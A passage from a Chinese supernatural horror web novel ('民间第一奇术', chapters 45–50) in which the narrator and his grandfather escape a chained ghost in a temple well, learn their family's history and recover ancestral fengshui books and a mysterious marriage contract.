《民间第一奇术》 第45章 盛极必衰,阳极必阴 窒息,疼痛,还有恐惧,多重的情绪和感受交杂而来。 陈梁生幸灾乐祸的笑,更在井里形成重叠不断的回音。 趴在爷爷背上,那浑身缠满铁链的人,似是在冲着我尖声咆哮! 只有动作,没有声音。 可随即,爷爷做出同样动作,尖哑的咆哮出声。 唾沫星子落在我脸上,散发着老人独有的口臭。 所有手指完全迸开,我人就要倒栽葱一样,砸进井里。 身体骤然悬空失重,脑子里就两个字。 完了…… 偏偏这一瞬,尖锐刺耳的撞铃声突然响起。 爷爷身体一颤,眼中竟恢复了清明。 与此同时,他背上的那个“人”同样一颤,鬼颤和人颤不一样,他身体都虚化了一瞬。 嗖的一声,从井口里延展出来的铁链猛然一缩,连带着人一起,直接没入了井水中! 说时迟那时快,爷爷一把抓住我的脚踝,我身子完全落入井中,脑袋重重撞在了井壁上,咚声让我眼前一黑,脑子都空白了。 身体在往上磨蹭,我反应过来,是爷爷在拉我。 我不敢挣扎,不敢用力,只能尽量放低反抗,轻身提气。 脑袋倒立着,多少有些充血,我再微微扭头,眼睛往下瞟。 陈梁生死死的瞪着我,他那副表情,欲噬人一般! 终于,爷爷将我双腿拽了出去,膝盖弯曲,小腿和大腿夹住了井沿,我用力一仰,整个人出了井口。 爷爷显得十分狼狈,眼底都是红的,紧张和发力,让他眼珠的血管破了。 “走!”我声音又哑又重,反手抓住爷爷胳膊,要往外走。 “棺生出去,我得弄死他!”爷爷语气粗哑极了。 下意识的,我低头又看了一眼,更毛骨悚然。 陈梁生是恨恨的盯着我们爷孙两,显得十分不甘。 他同样脸上很警惕,是怕我们做什么。 可让人悚然的并非是陈梁生,而是在他身后的水面上,缓缓又站起来一个人,就是先前趴在爷爷背上那鬼东西。 他没有发出来任何响动,双手扬起,猛地一下掐住了陈梁生的脖子! 陈梁生猛地挣扎起来,双手用力想要掰开他的手指,只不过,人怎么弄得过鬼? 况且直觉告诉我,这井里头,才真的是鬼的主场。 他先前钻出来上身爷爷,都费老劲儿了。 爷爷一样看傻眼了,闭口不提要杀陈梁生的事儿,又反手拽着我,将我往外拉着走。 我们两人就这样相互拉拽,很快出了庙院,在庙子里爷爷一样没停顿,一直拉着我走出去,直至庙外两人才停下来。 先前心跳还没那么强,出来了之后,惊悚化作劫后余生,跳动的才叫一个剧烈,太阳穴都一抽一抽的疼。 爷爷松开我,手捂着心头,缓缓坐在地上。 我赶紧过去压着他的后背,帮他顺下来那口气儿。 “哎……”过了半晌,爷爷总算缓过来了,一声长叹。 月光照射在他的脸上,他那脸白得都没人色了,脖子上伤口更深,再让陈梁生拉着磨几下,血管都得爆掉。 “棺生……你咋藏在这里了?”爷爷怔怔看着我,眼中都是茫然不解。 “爷爷,你怎么那么胆大,一个人敢算计陈梁生?”我语气略发苦,是真的后怕。 爷爷沉默不语。 “这里,不是咱们陈家祖坟吧?这究竟是什么庙?锁龙井里究竟是什么鬼?为什么,先前都没事儿,我一过来,它就冒出来,非要杀了我?”我一连四五个问题,就这样,我还是满腹疑窦,又添了一句:“咱们老陈家,祖上是有什么事儿吗?” “不是那个老鳏夫让你来的吧?他,也不可能知道这地方才对。”爷爷没回答我的话,眼神变得十分严肃。 我立即摇摇头说:“不是。” 见爷爷的神态这么严肃紧绷,我才解释了黄土坡下那守村人老妪的事儿。 “是瞿大娘……她居然……还活着?”爷爷怔住半晌。 那老妪姓瞿? 爷爷,居然认识? 是了,如果不认识,老妪怎么能说得出来爷爷的事儿,又怎么可能说出这座庙,这口井? 下一刻爷爷扭过头盯着破庙,目不转睛的看着。 “希望那个小野种被掐死。”爷爷哑声说。 他没讲要进去的话了。 我其实想回去看看,却不敢去。 “这里叫蟾山,这庙叫做白蟾庙。”爷爷神态唏嘘起来,复杂道:“咱们老陈家祖上不简单的,很多很多年前,在我小时候,老陈家都还是方圆百里,赫赫有名的大家呢。” 我没打断爷爷的话,仔仔细细的听着。 “我父亲,也就是你祖爷爷,还有我爷爷,你的祖老太爷,都是响当当的先生,可要比老鳏头强很多。” “差一点儿,我就要传下来陈家的衣钵了,哎,可惜老陈家家业太大,本事太大,没有兜住,九迁祖坟的时候,挖出来个不得了的东西。” 爷爷再叹了一口气。 我心里咯噔一下。 九迁祖坟? 将祖坟足足迁了九次吗? 还有,爷爷口中的先生,应该就是类似老鳏夫这样的存在,只是比老鳏夫厉害得多。 一时间,好奇心被勾了起来。 其实这不光是好奇,本身就属于自己家里的事情,谁不想知道? 最关键的是,陈梁生正谋划的东西,就是老陈家祖上的家业?这些家业藏在了祖坟里? “那尸体很厉害,当时我爹和我爷爷就赶紧把人埋回去,焚香上供,三跪九叩,求他原谅老陈家无心之失。” “我有印象,大三牲一天送三次,连着送了九九八十一天,结果他还是放不过老陈家,有天晚上,我娘半夜爬起来唱戏,她一路唱到那尸体的葬处,接着把自己眼睛挖了,舌头生生拔了出来,死的格外凄惨。” “我爹和爷爷认栽,觉得是老陈家错了,送礼抹不过去,死一个人,总够了吧?” “可没想到,这只是个开始,老陈家从女人开始死,七大姑八大姨没几天就死光了,又开始死男人。” “对方是要把老陈家赶尽杀绝。” “老陈家的反击也很强烈,直接将他的尸体挖了出来,戳了九九八十一刀,然后就在白蟾庙里挖了一口井,将尸体用铁链穿着,浸泡在井中,那些铁链又用石人镇住。” “至于他葬身的那个风水宝地,老陈家把坟迁进去了。” “结果盛极必衰, 打那以后,老陈家就家道中落,我父亲,我爷爷没多久就暴毙而亡,那年我才八岁,又遇到战时,家族分崩离析,最后在田渠村讨百家饭,活了下来。” 爷爷说到这里,眼珠子更红了,眼泪直往下淌。 对我来说,陈家都是第四代,第五代了,自然是没什么感情,也没有多大感触。 盯着破庙,也就是白蟾庙。 锁龙井,居然是为了镇压当年那口极凶无比的尸身而挖出来的。 老陈家的手笔! 怪不得,那只鬼满身锁链,怪不得,他要杀我! 可不对啊,为什么他只杀我,不杀爷爷? 稍一迟疑,我还是问了爷爷缘由。 爷爷默了片刻,才说:“我爹,你太爷爷断气的时候说了,盛极必衰,阳极必阴,到了时候,又会阴极必阳,老陈家会生个鬼娃娃,如果这件事情真发生了,陈家就会有反转。” “井里的东西,只会报复这个鬼娃娃,他不想老陈家东山再起,至于陈家其余人,他只觉得,他们陷入了平庸和苦海中难以解脱,他高兴看戏还来不及。” 爷爷这话,又让我脑瓜子嗡嗡作响。 鬼娃娃?说的不就是我吗? 第46章 祖业 一时间,我脑袋有些不够用了。 陈梁生害了我,导致我妈只能进棺材里活葬生我,我是棺生子,是村民口中吃死人奶活下来的鬼娃娃。 结果,我太爷爷死前,就已经预言了这件事儿? 这未免太荒诞了吧? “哎,本来你爸妈两个没生,我以为陈家气数断了,没想到,时来运转怀上孕,又遭受人算计,阴差阳错,竟然应了几十年前你太爷爷临死的卦。” “他死前还提醒过我,你没有本事之前,千万不能告诉你白蟾庙锁龙井的事情,不能让那只鬼瞧见你,等你稍微有点儿本事了,才能带你进咱老陈家的祖坟。” 爷爷接连叹息:“一切都好端端的呢,莲香死的让人憋屈难受,可棺生你一步步,真就要有本事了。可谁曾想,老鳏夫居然死了,不知道被什么鬼东西披着皮来害你,陈梁生那小野种害了你小时候,又眼馋着咱们老陈家的祖业,爷爷没本事,合计着和你爸一起下毒,想着先给你减少点儿麻烦,结果惹了更大的麻烦,你爹鬼迷心窍,去找陈梁生,结果让他给控制了……” 爷爷讲述了一圈儿。 这事情,我算是听明白了。 “陈梁生应该要死定了吧?”我喃喃道:“那么凶一鬼,尸体就算动不了,鬼魂也能在井里掐死他几十次。” 锁龙井里那口凶尸,不就类似于被压在死水潭子里的白姝灵尸身吗? 只是,它受限更多,魂魄都只能在井口附近游荡。 “嗯……应该是死定了,不过难保,没亲眼看见他的尸体,我心里就不安稳。”爷爷直摇头。 “该回去了,爷爷。”我扯开话题,要搀扶他起身。 “不行!不能回去!”爷爷死死攥着我的手腕,眼中透着惊悚:“你进过白蟾庙,让锁龙井的尸鬼看到了,他会想办法害死你的。” “咱们去祖坟!”爷爷斩钉截铁的说。 我心跳的速度又咚咚加快。 “祖坟里,有老陈家的祖业,你拿到了,比老鳏夫教你的强,况且,现在的老鳏夫还不是他了,谁知道他教你那些东西,是什么目的?”爷爷闷声不响,他偷摸理解到的信息还真不少。 随后, 他领着我,继续朝着山上的方向走去。 白蟾庙在山腰而已,距离山顶还有很远。 祖坟具体在哪儿,爷爷不吭声,我没问,就是仔细记着路。 走着走着,远离了白蟾庙。 下意识的,我摸出来了小人儿。 这小人儿更栩栩如生了一些,更冰凉。 还有一点古怪的地方,就是白姝灵,居然还没出来? 庙里头她提醒过我了,要跑。 当时我兜里也有颤动感,她是挣扎想出来帮我。 直至此刻,我算是明白了一点,这蟾山不对劲,有某种限制鬼的能力? 老鳏夫给的那本蓝皮书里,风水中隐约说过类似的话,好的风水,既能养尸养鬼,又有镇尸镇鬼的功效。 在关键的地方,尸鬼如鱼得水,其余地方,尸鬼动弹不得。 蟾山,就是这样的风水? 不排除,这座山还被人为布置过什么东西。 譬如,镇物? 镇物这两字是囊括的说法。 小至普通家庭中,屋檐上挂着的镜子,门口贴着的门神,或者悬在梁下的铜钱,葫芦,都是镇物。 大至一些府宅前的狮子,山顶的某座塔,寺庙道观里的铜鼎,甚至是水底的铁牛,也一样是镇物。 有镇物的地方,鬼难作祟! 因此,白姝灵出不来。 心头的悸动变强了,隐隐还有些激动和渴望。 简单啊。 老陈家,不是我认知中一个普普通通的农家,祖上是有家业的! 陈梁生一个火神庙的庙祝算什么? 就算是以前的老鳏夫,正当他风光无两的时候,恐怕都比不上老陈家的边边角角? 更不提现在的老鳏夫已经被害死了…… 只剩下个对我不怀好意的鬼东西,假冒老鳏夫缠着我。 我要是能学自家传下来的本事,那还学什么蓝皮书? “别……别……往前走……” 细弱蚊吟的话音,比先前还要断断续续,还要微弱,还要艰难。 我一个激灵,立即将小人贴在耳朵上,皮肤接触下,冰凉的触感,让我都起了一串细密的鸡皮疙瘩。 “他……跟……” 话明显没有说完,就消失了。 小人变得死气沉沉起来,完全没了动静,甚至温度都变得正常,就是一个普通布人。 我感觉周围的空气都变得温和了许多,像是不可能再有鬼鬼祟祟。 这里的风水,能镇鬼! 只是,白姝灵最后说的,是什么意思? 别往前走,他跟? 全话应该是,他跟上来了? 再一个激灵,我稍稍加快两步,抓住爷爷的胳膊。 爷爷还没反应过来呢,我放慢脚步,余光往后瞥着。 山路静谧,别说人了,半个鬼影子都瞧不见。 只不过,白姝灵不可能骗人的。 她什么都不知道,单凭感觉,都不让我靠近井口。 我们后边儿,绝对不对劲! 难不成……是陈梁生?! 视线中实在是什么都发现不了。 爷爷身体绷着,一样被我的举动给吓到了。 “跑!”我低声喊了一句,随后我抓着爷爷,朝着一旁的密林里狂奔! 这跑,就完全没有目的地,我只知道往林子密集的地方钻。 跑了五六分钟,我还有余力,爷爷破风箱一样大喘气儿,是真跑不动了,我才驻足停下,这里林子特别密,还靠着一个小土坡,突破下边儿居然有个洞! 我欣喜若狂,拉着爷爷往那土坡走。 “快钻进去!” 压低了声音,我催促爷爷。 爷爷硬着头皮往里钻,他进去后,我也进去了…… 开始爷爷呼吸声很大,他明显也在强忍着,很快平息下来。 黑洞洞的环境很窄小,我一样捂着自己的嘴巴,不敢大喘气儿。 “怎么回事?”爷爷说的很慢,更小声。 我手指竖在唇边,轻嘘一声,侧耳静静的听着。 开始没什么响动,只能听到我们的呼吸,以及心跳声。 很快,我们压下来了自己的声音,就能听到簌簌的风吹声,以及草叶灌木被脚踩过的异响。 手紧紧攥着裤腿,我才抑制住了自己的紧张。 这土坡洞里勉强还是有点儿月光,能视物。 余光瞧见爷爷都捂住自己的嘴巴。 真是陈梁生跟上来了? 他怎么能爬出那么深的井啊!? 井里的尸鬼那么凶,怎么就不害死他? 脚步声持续不断,由远到近。 本身人要是站着的话,可能对这种声响都不会觉得那么明显,土层对声音有传递作用,我们钻进的土坡,相当于在地面以下,那种声音传递的就更清晰! “咳咳……” 走路的人,咳嗽了一声。 听起来苍老,绝对不是陈梁生! 隐隐约约……还有一些耳熟,老鳏夫? 我人麻了,怎么会是他? “棺生,我看见你了,出来吧。” 突然,一嗓子喊声像是从脑门儿正上方响起似的。 爷爷眼珠子都快瞪出来了。 我手指紧紧竖在唇间,额角的汗,一直在往下淌,一部分汗珠渗进了眼皮里,酸涩难忍。 “老鳏夫”,在诈我! 如果他看见我了,他必须得走到这土坡正前方,往洞里看才行。 虽说他离得近,但他没站在土坡前这个位置,甚至我都没瞧见他的影子,那他怎么可能看见我? “棺生,你不该胡乱上这座蟾山的,这山上有很厉害很凶的鬼,你就不该碰到,要不是我,你现在都被弄死了哩,快点出来,我们得赶紧下山去。” 老鳏夫的话音再度响起,显得苦口婆心。 我脑子又是一嗡。 不是他,我被弄死了? 冷不丁的,我想起来一个细节。 先前我都忽略了这个问题,爷爷能突然清醒过来,是听到了撞铃声! 是老鳏夫在暗处发出的撞铃声? 他想弄死陈梁生,尾随陈梁生和爷爷而来? 我刚想到这里,却忽然发现,身旁的爷爷在发抖。 扭头,我去瞅爷爷怎么了,却瞧见他快哭了似的,头低着往下瞅。 我随之瞅了一眼,心都快裂开了。 洞中狭窄。 爷爷其实是一屁股坐在洞里的,只不过,他没坐在地面上,屁股下边儿有个人脑袋,歪扭着脸,一动不动,嘴巴裂开,舌头都耷拉在外边儿! 土坡没多大,一米多高而已…… 这哪儿是什么土坡,分明是一座坟啊! 我们钻人坟洞里头了! “棺生,我知道你听见了,你快出来,把你家老爷子也带出来,你误会我了,有些事情,需要沟通,需要解释,你明白吗?” “一个女婿半个儿,我能救你的命啊!”老鳏夫声音从苦口婆心,变得尖锐起来。 不过,他声音稍稍远离了一些。 能听出来,他并没有接近这个“土坡”,实际上是坟包的地方。 其实稍微是个人,都不会离坟头太近的,甚至“老鳏夫”追来的角度,恐怕都没有看见坟包上有个洞,更没想过我们会钻进坟里? 脚步声愈来愈远,喊我名字的声音,逐渐消失了…… 爷爷顶着我,想要钻出去。 我又做了个嘘声的动作,让他别动…… 第47章 蟾山目葬阴阳坟,左生右死步登天 耳朵静静贴在坟土洞壁上,冰凉感不停涌来,开始没什么声音,过了大概几分钟,我听见一个很轻微的声音,是人轻声提气,断断续续的在走动。 “老鳏夫”,压根就没走! 通过地面去听脚步声,对比耳朵能听到的,要细致太多太多。 终于,那脚步声彻底远去了。 我钻出坟包,爷爷随之钻出来,不停的拍着胸口喘气,又一直掸裤子。 坟没有碑,长满了草,我和爷爷才一时间没分辨出来。 “多少年的老坟了……里边儿埋的老先人还没有烂掉……怕都是闹了尸鬼。”爷爷还心有余悸。 “这座山上有东西,除了特定位置,尸鬼出不来,没事。”我和爷爷解释,示意他放心。 要是其余地方尸鬼能出来,白姝灵就能现身,我安全系数就更大。 这也算是有利有弊,至少我和爷爷藏身过程中没出事。 “鳏爷到底被什么东西害了?”爷爷手总算垂下来,眼神四瞟周围,十分谨慎。 我沉默片刻,简明扼要和他提了在那土房子中的事儿。 之前没机会和爷爷讲,现在爷爷将老陈家的一切都告诉我,再加上我们又遭遇老鳏夫一次,该说明白了。 “不对啊……土房子里是瘟癀,那是个鬼,大白天出不来的,这地方不是克尸鬼吗?”爷爷十分疑惑。 “这就是我不晓得的细节了,可能白姝灵知道吧。”我摇头苦笑。 爷爷瞅了一眼我的衣兜。 我先前数次拿出小人的一幕,爷爷自然能瞧见。 “走吧。”他长吁一口气。 我们先到了山顶上。 不知觉间,夜色没有那么浓密,星月都隐匿在云层之后。 这里的林子更密,甚至没了山路,爷爷就在小路上绕着走,他走的方位总是出其不意。 最终停下来的时候,是在一处斜坡位置,这里高低错落,有着许许多多的坟头。 祖坟的数量这么多,足以见得陈家有多少家业。 “哎,我许多年没上来过了,路都有些生疏。”爷爷怔然四扫坟头。 我沉默不语。 “没有特定路径,是找不到这里的,当年将那凶尸埋进锁龙井后,咱们陈家就对这后山进行了一次改造,种的树都按照方位排列,不知道路的人,就算到了山顶,到了这林子外,都只能不停的转圈儿,走不到这里。”爷爷再度和我解释。 我点点头。 爷爷没有下一步动作。 一时间,两人有些大眼看小眼。 “然后呢爷爷?”我还是问出了声。 爷爷摇摇头,说:“然后我就不知道了,我只知道祖坟在这里,咱们老陈家的祖业肯定在这里。陈梁生那么想要,代表肯定很好,你太爷爷说过,你有本事了才能来这里,兴许那时候,你就能找到祖业了吧?” 我:“……” 没有继续为难爷爷了,当年他才几岁?能记住那么多东西,还能留在田渠村,并且活下来,还能生儿育女延续血脉,已经很厉害。 只是视线横扫一圈儿,坟包少说三十个。 祖业遗物肯定在坟里,我总不能一个个掘坟去找? 本事…… 我默默回顾爷爷说的话。 我认为的预言,是爷爷口中,他的父亲,我太爷爷的卦。 这其实是算命。 四五代之前,老陈家遭遇这一劫的时候,就算出来了后续的事情。 那就算出来了,我会先粗略的学一点风水? 这风水,能让我找到“祖业”,让陈家东山再起? 不知觉间,天亮了。 鱼肚白划破天幕的黑暗,初阳升起的一瞬间,紫气先散,随后才是红光。 山顶看山下,明明是浓郁密林,在这里,视野却那么的开阔。 我就像是在宝山之前,却不得其入口。 晃晃悠悠的,爷爷一屁股坐在地上,他稍稍撑着身体,大口大口的喘着气儿。 人到七十古来稀,爷爷这年纪,先是一通搏命折腾,又是一夜奔逃,他早就到了极限,这会儿呼吸都和破风箱一样粗重。 我想去给他拍拍后背,他又搡开我,微微急切的神态,是想让我找到“东西”。 我仔仔细细的打量着这山坡祖坟的环境。 一时半会儿,我的确什么都看不出来,风水知识太浅薄了。 稍一迟疑,我摸出来了蓝皮书,开始翻阅。 我动作很快,几乎是走马观花扫一遍,不是看内容,是看相关于风水的插图,简笔画。 书翻到尾页,我找到一纸内容,配图和蟾山如出一辙。 其中描述不少,最核心的一句话写着:蟾山目葬阴阳坟,左生右死步登天。 对风水术我虽然只是粗通皮毛,但翻到这里,就和解题似的,能粗略看懂一丁点儿。 蟾山的核心是蟾目,现在我们所处的位置,就是蟾目所在。 蟾目却有两处,阴阳两分,左生右死? 我稍稍下细一分析,这片祖坟的所在地,处于东面,东面应该是右死。 那左生之地,还距离这里有一段距离。 风水上还有个说法,叫做祖荫,祖荫庇护后代,肯定得留下一线生机,放在风水上,肯定得在生机勃勃之地…… 我不知道自己算不算是看懂了蟾山风水,更不清楚,自己分析的对不对,只是内心涌起的那一股悸动,让我心跳的特别厉害,就像是读书期间,又一次我去玩儿刮刮乐,中了几千块钱,看见号码的那一瞬,我内心的感觉特别不真实。 “爷爷,你知道,咱们祖坟应该还有一片吗?”我问爷爷。 这会儿爷爷休息的差不多了,稍稍一愣,摇头说:“没有吧?” “你带我,先去太爷爷,还有祖老太爷的坟前拜一拜。”我拉开另一个话题。 一时间,爷爷为难起来,才说:“当年他们暴毙后,送他们上山的族人,刚回家也死了,他们的坟在哪儿,我不知道。” 我沉默片刻,才说:“那你跟我来。” 爷爷眼中带着一丝惊喜。 我朝着西面的方向走去。 不多时,就走到祖坟边缘,再往前一步,就要进入山间密林。 爷爷一把拉住我,让我别胡乱走,没在准确的方位上,进这密林,就等于进迷宫,他都找不到路! 第48章 尸香,婚书 “爷爷,你信我。”我笃定开口。 爷爷则忧心忡忡。 我一头扎进林子里,他才迈步跟上。 我走的是一条直线,叮嘱爷爷也一定要走直线。 我对风水只有皮毛的认知,只能从另一个角度去判断,两目之间必然是直线一条。 密林必然有问题手脚,不过,只要稳住方向不变,应该问题不大? 在林子里走了很久,终于,当视线豁然开朗的时候,我们又到了一处山坡的位置。 粗眼一看,这山坡和先前祖坟那山坡,是一模一样,没有坟包的区别。 青草翠绿,即便是冬天还生满了一些细碎的小花,一片欣欣向荣。 爷爷傻愣愣的看着这一切,还不明所以。 潺潺的流水声入耳,山坡上有一条溪水,源头是一个山洞。 这也是细微处的区别。 福至心灵,我朝着那山洞走去。 一时间,都没管爷爷跟没跟上来了。 山洞大约两米高,一米宽,很窄小,入内后,就像是走在一条狭长的通道中。 大约深入了二十多米,视野豁然开朗。 入目所视,有一眼山泉,正在淌出水流,这些水汇聚流出通道,就成了外边儿的溪水。 山泉旁边放着一口棺材, 白棺,不到两米长。 我走过去后,顿一阵心惊肉跳,因为斜后方居然还有两口棺材,直立立的放着,漆黑无比。 稍一迟疑,我尝试去推了一下白棺。 棺盖没有封死,轻而易举就打开了。 棺内躺着一口女尸,才真的叫做栩栩如生,她似乎还有呼吸,胸腹的位置都在慢慢起伏,从她身上更弥漫着一股特殊的香味。 我形容不出来那究竟是一个怎么样的味道,只觉得沁人心脾。 此外,她身上竟然长着细碎的白毛,不是说我爸形容的那种,最开始我妈身上的白色绒毛,更没有类似于现在我妈尸身上的血色绒毛,这种白毛就像是鹅绒,不阴森,只让人觉得很美观。 脚步声来了,随后,爷爷晃晃悠悠从通道里走出来,蹒跚的靠近我。 他本来颤抖而又激动的看棺材,随即一愣,才说:“不是老陈家的人。” 我脑中顿浮现一个答案。 按照蟾山的风水来看,阴阳坟,这肯定是对葬。 锁龙井里封着一口凶尸,他所葬的位置,就是爷爷所知道,老陈家祖坟的位置。 这里作为对葬之处,女尸本身就存在于这里,她没有闹,没有作乱,陈家便没动她。 “你太爷爷和和祖爷爷的棺材!”爷爷忽然嚎了一声, 他扑到后边儿两个棺材前,顿失声痛哭,就像是个孩子一般无助。 我封住白棺,才走到那两口棺材前。 先作揖三次,我随后跪下拜了三拜,爷爷止住哭声,起身,是要去开棺材。 我在旁边搭把手,率先开了一棺,棺材内是个至多四十岁的中年男人,他模样和爷爷有五六分相似,和我爸也有几分相似,同我,就只有眉眼一些位置神似。 爷爷又掉了几颗眼泪,喊了声爹。 随后,我们打开旁边另一口棺材,棺内是个白发苍苍的老叟。 爷爷又喊了他一声爷爷。 随后,爷爷去两具尸身上摸索起来。 大约几分钟后,他拿出来不少东西。 有两本格外古朴的书,同样是线装书,却比我手中这本无名蓝皮书看上去质感厚重太多。 其一名为葬经百解,其一名为神相千壳。 此外,还有一块巴掌大小的罗经盘,我手中的蓝皮书中,有一部分对罗经盘的描述,这是勘风水的必备法器。 “这把寻龙分金尺,是咱们老陈家以前安身立命的根本……果然,在这里……我小时候最想学的就是这门手艺……”爷爷再拿出来一样东西,他再度老泪纵横。 “老鳏夫肯定是有问题的,别学他给你的东西了,咱们老陈家,自己有!”爷爷将所有物品全部递到我手中,他眼神极其傲然! 明明是个普普通通的农村糟老头子,这一瞬,却有种家财万贯的感觉。 老鳏夫,的确有问题。 我之前还是要学,是因为,我得有本事才行,我没得选,只能去想着,对事不对人,本事总和人没关系吧? 现在有了更好的选择,我为什么还要拿着老鳏夫这点东西不放? 掏出来那本蓝皮书,我直接甩在地上。 看着那两本新得的书,尤其是手中还有两把先生的法器,我心都快从嗓子眼里蹦出来了…… “咦……还有东西……”爷爷忽然看着地上。 我顺着看过去,才注意到,那里斜插着一个黑红色外壳的册子,这东西先前都没在那里。 是爷爷动尸身的时候,尸身上落出来的? 爷爷捡起册子,随手翻开,顿打了个激灵。 “棺生,你快看!” 爷爷将册子递给我。 这册子居然是一本婚书,女方那里写着名字,生辰八字。 阐婵。 一个听上去,就是大家闺秀的名字。 男方那里写着的生辰八字,十分眼熟…… 不正是我的出生年月日吗? 下方还有一个名字,居然就叫做,陈棺生! 我脑瓜子嗡嗡作响。 “嘶……” 手指尖忽然传来一阵刺痛,这册子上,居然贴着一点小小的瓷片,我先前没注意,刚好将大拇指划破,血浸润其中。 下意识的,我手往外一甩,那册子落了地,又斜插在地面。 “别捡!”我制止爷爷的举动。 “太怪了……居然是婚书,你太爷爷和祖爷爷,当年神机妙算,就算到你会出生,居然他们还给你安排了婚事吗?我得看看,是哪家的姑娘啊!”爷爷十分激动,说:“老鳏夫也死了,你现在活下来了,白姝灵这件事情,我看的确可以算了,先前陈梁生说给你解开阴婚,这事儿轮不到他做,你有本事了,你就能做!” 不光是激动,爷爷语气还带着一丝亢奋。 他没有理会我的话,又要将婚书捡起来。 我跨步上前,一手将两本书塞进兜里,腾出手来,抓着爷爷就往外疾走。 “棺生,你干嘛?”爷爷着了急,要挣脱我。 我一张脸紧绷着,不由分说,硬把爷爷往山洞外面儿拽。 出山洞的那一瞬,阳光照射在脸上,格外熨烫。 我才说:“多少年的事情了爷爷,就算真有那么一个人,咱们陈家,还是陈家吗?何必去自取其辱?” 第49章 嫁鸡随鸡,嫁狗随狗 不光是这件事情我认为很荒谬,不想看婚书的内容,不想知道更多所谓的神机妙算,所谓的安排。 我只想现在安然无恙。 还有,我爷爷先前所说的,阴婚可以算了。 相对而论,老鳏夫切切实实的用阴婚保护了我,这些年里头,白姝灵除了吸我阳气,维系一下自身魂魄,那她还做了其他什么过分的事儿吗? 没有,反而,她一直是尽心尽力的。 嫁鸡随鸡,嫁狗随狗,这八个字,白姝灵说了不止一次。 若是我得了老陈家的“祖业”后,就直接抛弃白姝灵,那还能算个人吗? 尤其是老鳏夫现在不知道被什么东西弄死了,白姝灵又该多凄苦无助? 我思索间,爷爷却还在絮叨个不停,意思是,我不知道当年的老陈家到底多厉害,他都还记得,手握寻龙分金尺,风水堪舆定乾坤这样的称颂,老陈家更有一脉相传的名号,叫做寻龙金相! 但凡是老陈家定下来的婚事,就算是过去了六七十年,对方肯定不敢违背,否则就要遭报应。 爷爷作势又要钻回那山洞中。 我抓住爷爷肩膀,才说:“爷爷,人要说良心吗?” 爷爷怔住,还没反应过来。 我才如实说明:“我不可能破阴婚的,不可能不管白姝灵,老鳏夫死了,我就是她唯一的依靠了。” “我会超度她。” “爷爷,咱先要有良心,当个人,不能忘恩负义,过河拆桥,不然,我和陈梁生有什么区别?” 这三句话,彻底让我爷爷戛然无声。 阳光好刺眼,好炽烈,我内心的情绪,隐隐也有几分转变。 此前,我感觉自己什么都被动,什么都没办法。 可拿到了老陈家的祖业,好像就给了我一丝逆转的可能? 手握寻龙分金尺,风水堪舆定乾坤! 这话,的确充斥着一股气势。 “哎……”爷爷叹了口气,唏嘘:“爷爷老了,脑子愚了,比不上棺生你的认知了。” 他没有再坚持己见。 “咱先回安全的地方住下。”我沉声说。 原路返回,途中我又问了爷爷几句,奶奶,我爸,被陈梁生藏去了什么地方? 爷爷才告诉我,陈梁生是怕老鳏夫,因此家不回,火神庙不去。 再加上陈梁生发现他知道了其目的,因此,他就顺水推舟,想着借此机会弄死陈梁生,哪儿想到,会出现这么多变故? 不过还好,我阴差阳错来了白蟾庙,救了他这条老命。 “倒也好,老陈家的祖业,是不可能让一个外人染指的,他得下辈子才能做春秋大梦了。” 爷爷絮叨着说了一大圈儿,才讲了我爷爷和奶奶的下落,我们家菜园子那里有个窖眼,人就住在里边儿。 稍一思索,我同爷爷说了自己的决定,先去将我爸和奶奶弄出来,想办法破掉陈梁生对他们的控制,就住在白姝灵给我安排的窑洞里。 陈梁生坠井丧命,是他咎由自取,这样一来,我要面对的,就只是“老鳏夫”,确保家里不出事,我也会躲在窑洞里学艺。 爷爷连连点头,才说:“倒也好,瞿大娘居然还活着,我……得去看看她。” 瞿大娘,就是那个疯疯癫癫的守村人老妪。 如果不是她,我根本救不了爷爷的命。 她,算是我们一家的恩人。 不知觉间,我们回到最初祖坟所在的位置,再原路返回至山顶, 半下午的时候,途经白蟾庙,阳光下的庙子荒凉感更强。 爷爷和我几乎同时驻足。 闷了片刻,爷爷说:“棺生,你等等我,我进去看一眼。” 我知道,爷爷是怕陈梁生没死透。 “白天,应该没事儿吧?我和你一起去?”话刚说完,我心里又突地一跳,想起来那个瞿大娘说的,一人不进庙,两人不观井,三人不抱树,独坐莫凭栏。 我昨晚,算是一人进庙? 最初应该是的,只是随后陈梁生和我爷爷进来了,算是破了这个点。 两人不观井,就是暗指如果两个人去井边,其中有一个人,必然会被鬼上身!对我造成致命袭击! 那三人不抱树,意思是,只要有三个人到了那棵榕树下,就还会出现别的问题? 综合一想,我在一个人,甚至三个人的情况下,都不能进白蟾庙? 我思绪太快,爷爷才摇摇头说:“还是我进去吧,别让那只鬼再看见你,这白蟾庙锁龙井里,我感觉没有什么白天晚上的差别。” 语罢,爷爷朝着庙子里走去。 我没有跟上去了。 爷爷的话,有爷爷的道理。 瞿大娘更早就提醒了我。 这种事情发生过一次,就没必要去引起第二次了。 很快,爷爷走进白蟾庙的破门。 我站在稍远处的位置,仔细的观察周围的环境,确保没有其他意外。 约莫五分钟,爷爷出来了。 他有些愁眉不展。 “怎么了爷爷?”我心跳速度都加快不少。 “古井无波,一片安静,什么都看不出来啊。”爷爷叹了口气。 我才知道,他得确定陈梁生死透了,看见尸体了,才会放心。 我一样如是。 死不见尸,心就总悬着一块儿。 “人死了,得好几天才浮上来, 也有可能,那个凶尸不会让他浮上来了,我们先回去,小心一些。”忍着心里的微微悸动,我同爷爷说。 爷爷点点头。 下山的过程无需多提。 我们回到村子里时,火烧云铺满天边,红得像是染了血。 爷爷领着我走去菜地,找到窖眼。 农村里都有这样的地方,冬天了用来储藏红薯,土豆一类的粮食。 结果搬开窖眼前边石板,夕阳斜射进去,光线晦暗的窖眼里,哪有我爸以及奶奶的影子? “人呢?”爷爷脸色不太自在。 “哎哟,老陈头,你在这儿,可找你好半天了!”忽地,身后传来喊话声。 我率先回过头,是一个年纪和我爷爷一般大的老头儿,正跺着脚,和爷爷招手呢。 “你家出大事了哇,这事儿咋整,你赶紧的来吧!”那老头对我视若无睹一般,光急着喊爷爷了。 爷爷才转过身,眉头拧成疙瘩,说:“老宋,你别一惊一乍的吓人,我家里能出啥大事?你别卖关子,赶紧说。” 第50章 井死 “三言两语就说不了,你赶紧来,真找你一天了,你两个孙子都找了,就是一个都找不到人!”宋老头年岁大了,说话一急,嘴角唾沫星子就堆积起来,他伸手抹了抹。 宋老头当然找不到我们。 我和爷爷一直在蟾山上。 陈梁生,十有八九,还在那口井里泡着呢。 